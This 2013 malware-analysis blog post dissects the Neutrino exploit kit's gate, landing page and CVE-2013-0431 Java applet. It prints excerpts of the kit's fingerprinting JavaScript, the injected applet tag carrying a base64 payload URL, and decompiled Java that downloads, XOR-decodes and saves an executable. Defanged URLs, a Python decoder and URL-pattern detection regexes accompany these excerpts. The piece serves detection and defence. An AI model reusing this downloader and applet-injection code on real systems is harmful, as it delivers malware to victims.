Friday, May 10, 2013

Neutrino Exploit Kit analysis

I have previously looked at the neutrino landing page: Neutrino landing page demystified and Neutrino landing pane change.
There obviously are quite a few Neutrino live kits out there so it is time to take a closer look at this evil piece of software. Lets see if we can figure out what these bad actors are up to and make sure that we can detect activity related to the Neutrino exploit kit.

1. Gate

Neutrino has a gate which you will have to pass to be able to get to the landing pane. To get to the gate you normally follow a series of hacked sites which will redirect. The gate will give you html to move you over to the landing pane to look at your client and find a way to exploit you. If you have the url to the gate and a valid referer you will be able to get valid urls to the landing:

--2013-05-07 --  hxxp://


Connecting to||:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 402 [text/html]

Saving to: `c2_1.php'

     0K                                                       100% 24.7M=0s

2013-05-07 (24.7 MB/s) - `c2_1.php' saved [402/402]

<HTML><HEAD><title>Canadian Pharmacies Buy Generic Drugs Prescription International Online Pharmacy Drugstore</title><meta http-equiv="refresh" content="20;url=hxxp://
15&group=158"></HEAD><FRAMESET rows="100%" BORDER=0 FRAMEBORDER=0 FRAMESPACING=0><FRAME NAME="fi20o3893jhms" SRC="hxxp://"><noframes></noframes></FRAMESET

You will over time get new urls to the landing pane:

hxxp: //

hxxp: //

hxxp: //

hxxp: //

hxxp: //

hxxp: //

hxxp: //

hxxp: //

hxxp: //

hxxp: //

hxxp: //

hxxp: //

hxxp: //

hxxp: //

hxxp: //

hxxp: //

I have however noticed that the 7 digit number for the f{random length lowercase random string} parameter stays the same over time. The urls to the landing will also be reused.

2. Landing pane

 <script src=""></script> 
 <script type="text/javascript" src="scripts/js/plugin_detector.js"></script>
 <script type="text/javascript">
  $(document).ready(function() {

  function АН602(hid, pass, cph, xpn, ipn) {
   var info = {
    hid : hid,
    plugins : {
     adobe_reader: PluginDetect.getVersion('AdobeReader'),
     java: PluginDetect.getVersion('Java'),
     flash: PluginDetect.getVersion('Flash'),
     quick_time: PluginDetect.getVersion('QuickTime'),
     real_player: PluginDetect.getVersion('RealPlayer'),
     shockwave: PluginDetect.getVersion('Shockwave'),
     silver_light: PluginDetect.getVersion('Silverlight'),
     vlc: PluginDetect.getVersion('VLC'),
     wmp: PluginDetect.getVersion('WMP')

   var obj = {};
   obj[xpn] = pass;
   obj[ipn] = encodeURIComponent(xor(JSON.stringify(info), pass));
   $.post(cph, obj, function(data, status){
    $("body").append(xor(decodeURIComponent(data), pass));

  function xor(input, pass) {
   var output = "";
   var i = 0;
   var pos = 0;
   for (i = 0; i < input.length; i++){ 
     pos = Math.floor(i%pass.length);
     output += String.fromCharCode(input.charCodeAt(i) ^ pass.charCodeAt(pos));
   return output;

  JSON.stringify = JSON.stringify || function (obj) {
   var t = typeof (obj);
   if (t != "object" || obj === null) {
    // simple data type
    if (t == "string") obj = '"'+obj+'"';
    return String(obj);
   else {
    // recurse array or object
    var n, v, json = [], arr = (obj && obj.constructor == Array);
    for (n in obj) {
     v = obj[n]; t = typeof(v);
     if (t == "string") v = '"'+v+'"';
     else if (t == "object" && v !== null) v = JSON.stringify(v);
     json.push((arr ? "" : '"' + n + '":') + String(v));
    return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}");

This we do recognize from the post Neutrino landing pane change or variation. The jquery and plugin_detector stuff is documented in the Neutrino landing page demystified.

3. Start the more evil stuff

The landing pane will report whats installed on your computer and will fetch javascript code to fetch exploits.

the HTTP POST request is covered in earlier posts

What do we get back:


We need to URLDecode the answer and xor it to be able to understand what the bad guys are throwing at us. We have the XOR key from the landing.

<script language='Javascript'>

if ('Microsoft Internet Explorer' == navigator.appName) {
document.write('<applet object="Abc.dat" archive="hxxp://
daaa2ccbb52175bd0" width="10" height="10"><param name="exec" value="aHR0cDovL21pbGstY29jb2EuY29tL3BhcHNzeWFyZWpqb2JhP2h0aWRhdWtxPTUxODk1YjRkYWFhMmNj
YmI1MjE3NWJkMA=="><param name="xkey" value="qkyu"></applet>');
} else {
document.write('<embed object="Abc.dat" type="application/x-java-applet;version=1.6" archive="hxxp:/
/" width="10" height="10" exec="aHR0cDovL21pbGstY29jb2EuY29tL3BhcHNzeWFyZWpqb2JhP2h0aWRh
dWtxPTUxODk1YjRkYWFhMmNjYmI1MjE3NWJkMA==" xkey="qkyu"></embed>');

As expected they want us to run some Java code.

4.  URL to the final payload

In the applet tag the "exec" variable has the value for the URL to the final payload/malware payload. This is base64encoded so we need to decode it:


5. Malware

Start of the malware file:

This is, also as expected, obfuscated and  we need to go into the Java code to figure it out.

6. Java code cve

The Java Code is exploiting CVE-2013-0431 as described by Rapid7 here

7. Java code deobfuscation

First the payload url decodeing: get the parameter value of exec and base64 decode:

String str1 = getParameter("exec");
      if ((str1 == null) || (str1.length() == 0))
      Object localObject3;
      if (!str1.startsWith("http"))
          BASE64Decoder localBASE64Decoder = new BASE64Decoder();
          localObject3 = localBASE64Decoder.decodeBuffer(str1);
          str1 = new String(localObject3, "UTF-8");



Decoded: hxxp://

Where is the file saved:

File localFile = File.createTempFile("~tmp", ".exe");
          FileOutputStream localFileOutputStream = new FileOutputStream(localFile);

Get the xor key and deobfuscate the downloaded file:

String str3 = getParameter("xkey");
          if ((str3 != null) && (str3.length() != 0))
            byte[] arrayOfByte3 = new byte[arrayOfByte2.length];
            arrayOfByte3 = xwk(arrayOfByte2, str3.getBytes("ISO_8859_1"));

public byte[] xwk(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
    byte[] arrayOfByte = new byte[paramArrayOfByte1.length];
    for (int i = 0; i < paramArrayOfByte1.length; i++)
      arrayOfByte[i] = (byte)(paramArrayOfByte1[i] ^ paramArrayOfByte2[(i % paramArrayOfByte2.length)]);
    return arrayOfByte;

Iterate the file downloaded, XOR with the key byte for byte and start over when reaching the end.

Python is perfect for this:

#@malforsec py script to decode Neutrino bin files
def main():
  exefile = ''
  key = 'qkyu'
  with open('neutrino.bin', 'r') as f1:
    inf =
    for i in range (0, len(inf),1):
      exefile += chr(ord(inf[i]) ^ ord(key[i % len(key)]))
  with open('neutrino.exe', 'w') as outf:

if __name__ == "__main__":

Did we get it right:

0000000: 4d5a c290 0003 0000 0004 0000 00c3 bfc3  MZ..............
0000010: bf00 00c2 b800 0000 0000 0000 4000 0000  ............@...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: c390 0000 000e 1fc2 ba0e 00c2 b409 c38d  ................
0000050: 21c2 b801 4cc3 8d21 5468 6973 2070 726f  !...L..!This pro
0000060: 6772 616d 2063 616e 6e6f 7420 6265 2072  gram cannot be r
0000070: 756e 2069 6e20 444f 5320 6d6f 6465 2e0d  un in DOS mode..
0000080: 0d0a 2400 0000 0000 0000 4360 c291 c2af  ..$.......C`....
0000090: 0701 c3bf c3bc 0701 c3bf c3bc 0701 c3bf  ................
00000a0: c3bc 20c3 87c2 82c3 bc06 01c3 bfc3 bc07  .. .............
00000b0: 01c3 bec3 bc6d 01c3 bfc3 bc20 c387 c284  .....m..... ....
00000c0: c3bc 0801 c3bf c3bc 20c3 87c2 85c3 bc06  ........ .......
00000d0: 01c3 bfc3 bc20 c387 c292 c3bc 1101 c3bf  ..... ..........

Oh yeah thats an exe file.

Virustotal for the exe: 2/46

Virustotal for the JAR: 2/45

8. Network detection

Lets have a look at @malwaresigs and see if we got the same. Looks like the old signature description is still valid. The HTTP POST request has changed as the "hid" aka host id variable now is incorporated in the URL Encoded part.

Looks like we can be more specific on:

*Change in patterns - spotted by @Set_Abominae 2013-05-15 - URLQuery

JARs: /(c|e)[a-z0-9]{1,11}\?(m|h)[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$

EXEs: /(d|p)[a-z0-9]{1,16}\?(m|h)[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$

landing: /(a|l)[a-z0-9]{1,16}\?(f|q)[a-z0-9]{1,12}=[0-9]{7}$

*Lets see if the change in URL patterns will continue. If so revert to signatures over @malwaresigs.

Update 2013-05-15
I have observed more patterns matching what @Set_Abominae reported yesterday.

Update 2013-07-29
The url patterns keep changing: Thanks to @urlquey and @node5 for providing samples!
EXEs: /j[a-z0-9]{1,16}\?l[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$
landing: /s[a-z0-9]{1,16}\?d[a-z0-9]{1,12}=[0-9]{7}$

Happy analyzing and detecting Neutrino Exploit Kit activity :)

Neutrino references:
@kafein over at has good stuff on Neutrino too.

Post publish reading: - "Rotating iframe urls - one a minute"
malwaremustdie - "Knockin' on Neutrino Exploit Kit's door.."


  1. is this sploitpack decodes obfuscated EXE directly into memory to avoid AV detects?

  2. If I understand your question correctly: the obfuscation will protect from detection so no need for any trick there.
    The exe file is saved to disk. Thats normally when AV kicks in to check files(on access scanning).
    But yes the obfuscated file is read in, deobfuscated and written to disk. And remember the Java code runs in priveleged mode.

    Thats my view. If nanyone sees it diffrently please let me know